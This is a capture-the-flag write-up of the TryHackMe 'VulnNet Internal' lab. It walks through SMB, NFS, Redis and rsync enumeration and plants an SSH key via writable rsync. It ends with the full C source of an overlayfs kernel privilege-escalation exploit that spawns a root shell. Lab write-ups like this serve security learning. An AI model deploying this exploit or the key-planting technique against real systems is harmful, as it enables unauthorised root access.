Featured image of post TryHackMe: VulnNet Internal Writeup

TryHackMe: VulnNet Internal Writeup

Lots of tools to learn: NFS, Redis & rsync. Top it off with a sweet PrivEsc exploit.

Play

1. Scanning & Enumeration

1.1. Port Scanning

Not shown: 993 closed ports
PORT     STATE    SERVICE     VERSION
22/tcp   open     ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 5e:27:8f:48:ae:2f:f8:89:bb:89:13:e3:9a:fd:63:40 (RSA)
|   256 f4:fe:0b:e2:5c:88:b5:63:13:85:50:dd:d5:86:ab:bd (ECDSA)
|_  256 82:ea:48:85:f0:2a:23:7e:0e:a9:d9:14:0a:60:2f:ad (ED25519)
111/tcp  open     rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      35488/udp6  mountd
|   100005  1,2,3      54985/tcp   mountd
|   100005  1,2,3      56181/tcp6  mountd
|   100005  1,2,3      56789/udp   mountd
|   100021  1,3,4      32910/udp   nlockmgr
|   100021  1,3,4      42203/tcp6  nlockmgr
|   100021  1,3,4      42497/tcp   nlockmgr
|   100021  1,3,4      49999/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
139/tcp  open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open     netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
873/tcp  open     rsync       (protocol version 31)
2049/tcp open     nfs_acl     3 (RPC #100227)
9090/tcp filtered zeus-admin
Service Info: Host: VULNNET-INTERNAL; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -39m57s, deviation: 1h09m16s, median: 1s
| nbstat: NetBIOS name: VULNNET-INTERNA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   VULNNET-INTERNA<00>  Flags: <unique><active>
|   VULNNET-INTERNA<03>  Flags: <unique><active>
|   VULNNET-INTERNA<20>  Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: vulnnet-internal
|   NetBIOS computer name: VULNNET-INTERNAL\x00
|   Domain name: \x00
|   FQDN: vulnnet-internal
|_  System time: 2021-06-16T05:50:05+02:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-06-16T03:50:05
|_  start_date: N/A

Info gathered:

  • ssh open
  • rpcbind looks interesting
  • rsync working
  • SMB open

Let’s start with SMB.

1.2. SMB Enumeration

Listing all the shares.

┌──(kali㉿kali)-[/tmp]
└─$ smbclient -L 10.10.95.197 -N    

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        shares          Disk      VulnNet Business Shares
        IPC$            IPC       IPC Service (vulnnet-internal server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

Using smbclient //10.10.95.197/shares -N we can get in, and see all of the files in the directories. We see temp and data directories in shares. One by one, I got all of the files, using the command:get file_name.extension.

Here’s all of what I got:

┌──(kali㉿kali)-[/tmp]
└─$ cat business-req.txt 
We just wanted to remind you that we’re waiting for the DOCUMENT you agreed to send us so we can complete the TRANSACTION we discussed.
If you have any questions, please text or phone us.
                                                                        
┌──(kali㉿kali)-[/tmp]
└─$ cat data.txt 
Purge regularly data that is not needed anymore
                                                                        
┌──(kali㉿kali)-[/tmp]
└─$ cat services.txt 
THM{flag_was_here_yee}

None of them are interesting, and this looks like a dead end. Let’s check out port 111, rpcbind.

1.3. RPC-Bind

Googling, we get this. A DDoS attack. This is not useful for us.

Okay, how about the NFS thingy listed in the nmap scan results, inside of RPC bind?

1.4. NFS

Let’s list them out. The -e or --exports flag gives us the export list of a server.

┌──(kali㉿kali)-[~/Desktop/tools/impacket/examples]
└─$ showmount --exports 10.10.95.197
Export list for 10.10.95.197:
/opt/conf *

Configuration files are usually very interesting. Let’s get these files on our system.

┌──(kali㉿kali)-[/tmp]
└─$ mount -t nfs 10.10.95.197:/opt/conf conf
mount.nfs: failed to apply fstab options

What is happening here?

  • -t or --type helps us specify the type of mount we want to do, which is nfs. Common filesystem types are ext2, xfs, brtfs.
  • rest of the syntax is ssh-like
  • conf at the end is the name of the emptuy directory on my system

Don’t forget the sudo option if mount -t nfs gives you errors.

┌──(kali㉿kali)-[/tmp]
└─$ sudo mount -t nfs 10.10.95.197:/opt/conf conf
[sudo] password for kali: 
                                                                        
┌──(kali㉿kali)-[/tmp]
└─$ cd conf                  
                                                                        
┌──(kali㉿kali)-[/tmp/conf]
└─$ ls
hp  init  opt  profile.d  redis  vim  wildmidi
                                                                        
┌──(kali㉿kali)-[/tmp/conf]
└─$ tree .     
.
├── hp
│   └── hplip.conf
├── init
│   ├── anacron.conf
│   ├── lightdm.conf
│   └── whoopsie.conf
├── opt
├── profile.d
│   ├── bash_completion.sh
│   ├── cedilla-portuguese.sh
│   ├── input-method-config.sh
│   └── vte-2.91.sh
├── redis
│   └── redis.conf
├── vim
│   ├── vimrc
│   └── vimrc.tiny
└── wildmidi
    └── wildmidi.cfg

Quick googling tells me redis is related to database. Things just got intersting!

1.5. Getting in Redis

Let’s search for passwords, using pass or password like terms.

┌──(kali㉿kali)-[/tmp/conf]
└─$ grep -r "pass" .
./redis/redis.conf:# 2) No password is configured.
./redis/redis.conf:# If the master is password protected (using the "requirepass" configuration
./redis/redis.conf:# masterauth <master-password>
./redis/redis.conf:requirepass "B65Hx562F@ggAZ@F"
./redis/redis.conf:# resync is enough, just passing the portion of data the slave missed while
./redis/redis.conf:# 150k passwords per second against a good box. This means that you should
./redis/redis.conf:# use a very strong password otherwise it will be very easy to break.
./redis/redis.conf:# requirepass foobared

Since we have the password, one option is to use telnet. It works using the same TCP/IP protocol we are familiar with. telnet MACHINE_IP PORT_NUMBER gets you in. Use the command AUTH mmm, where mmm is the password to authorize yourself.

Alternatively, download redis-cli, which looks better and has autocomplete suggestions.

Redis Cheat Sheet here

┌──(kali㉿kali)-[/]
└─$ redis-cli -h 10.10.95.197 -a "B65Hx562F@ggAZ@F"
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.10.95.197:6379> keys *
1) "tmp"
2) "authlist"
3) "int"
4) "internal flag"
5) "marketlist"
10.10.95.197:6379> type "internal flag"
string
10.10.95.197:6379> get "internal flag"
"THM{ff8e518addbbddb74531a724236a8221}"
10.10.95.197:6379> type "marketlist"
list
10.10.95.197:6379> type "authlist"
list

The commands are self explanatory.

Exploring Redis

What about marketlist?

10.10.95.197:6379> lrange marketlist 0 9000
1) "Machine Learning"
2) "Penetration Testing"
3) "Programming"
4) "Data Analysis"
5) "Analytics"
6) "Marketing"
7) "Media Streaming"
10.10.95.197:6379> type "Machine Learning"
none
10.10.95.197:6379> type "Analytics"
none

Nothing. What about authlist?

10.10.95.197:6379> lrange "authlist" 0 9000
1) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
2) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
3) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
4) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="

lrange is basically an iterator, going from value 0 to 9000. Looks like a base64 encoded string.

┌──(kali㉿kali)-[~]
└─$ echo "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg==" | base64 -d
Authorization for rsync://rsync-connect@127.0.0.1 with password Hcg3HP67@TW@Bc72v

Great! We have the exact syntax listed, which we can modify for our use. 127.0.0.1 becomes MACHINE_IP.

Using rsync rsync://rsync-connect@MACHINE_IP we see an interesting directory. Continuing, we get rsync rsync://rsync-connect@MACHINE_IP:/file/sys-internal/. Listing this looks like sys-internal’s file system. Using a bit of directory enumeration, we can get the user flag and the id_rsa!

2. Foothold

2.1 Sneaking in SSH

I checked the .ssh directory, which seems to be empty. Putting in a file called authorized_keys file contating our id_rsa.pub will allow us to connect using SSH without as password ;)

┌──(kali㉿kali)-[~/.ssh]
└─$ rsync -ahv ./id_rsa.pub  rsync://rsync-connect@10.10.81.234:/files/sys-internal/.ssh/authorized_keys
Password: 
sending incremental file list
id_rsa.pub

sent 671 bytes  received 35 bytes  83.06 bytes/sec
total size is 563  speedup is 0.80
                                                            
┌──(kali㉿kali)-[~/.ssh]
└─$ rsync rsync://rsync-connect@10.10.81.234:/files/sys-internal/.ssh/                   
Password: 
drwxrwxr-x          4,096 2021/06/16 01:12:15 .
-rw-r--r--            563 2021/05/25 13:02:37 authorized_keys

Let’s login!

┌──(kali㉿kali)-[~/.ssh]
└─$ ssh sys-internal@10.10.81.234                
The authenticity of host '10.10.81.234 (10.10.81.234)' can't be established.
ECDSA key fingerprint is SHA256:0ysriVjo72WRJI6UecJ9s8z6QHPNngSiMUKWFTO6Vr4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.81.234' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-135-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

541 packages can be updated.
342 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

sys-internal@vulnnet-internal:~$ 

*in hacker voice* We are in!

3. PrivEsc

Let’s check the common priv-esc vectors.

SUID? sudo? crontab? nope. Kernel exploit?

sys-internal@vulnnet-internal:~$ uname -a
Linux vulnnet-internal 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Yes! We can use the overlayfs local priv esc exploit.

Use the following -

cat << EOF > filename.extension
{blah blah}
EOF

syntax to echo multiple lines in a file.

sys-internal@vulnnet-internal:~$ cat <<EOF>xpl.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"


static void xmkdir(const char *path, mode_t mode)
{
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);
}

static void xwritefile(const char *path, const char *data)
{
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);
    close(fd);
}

static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);

    char buf[4096];
    ssize_t rd, wr;

    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
            break;
        } else if (rd == -1) {
            if (errno == EINTR)
                continue;
            err(1, "read %s", src);
        }

        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                    continue;
                err(1, "write %s", dst);
            }
            p += wr;
            rd -= wr;
        }
    }

    close(fi);
    close(fo);
}

static int exploit()
{
    char buf[4096];

    sprintf(buf, "rm -rf '%s/'", DIR_BASE);
    system(buf);

    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

    xwritefile("/proc/self/setgroups", "deny");

    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);

    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

    return 0;
}

int main(int argc, char *argv[])
{
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        setuid(0);
        setgid(0);
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");
    }

    pid_t child = fork();
    if (child == -1)
        err(1, "fork");

    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);
}
EOF
sys-internal@vulnnet-internal:~$ gcc xpl.c 
sys-internal@vulnnet-internal:~$ ./a.out 
bash-4.4# 

And we are done!

Built with Hugo
Theme Stack designed by Jimmy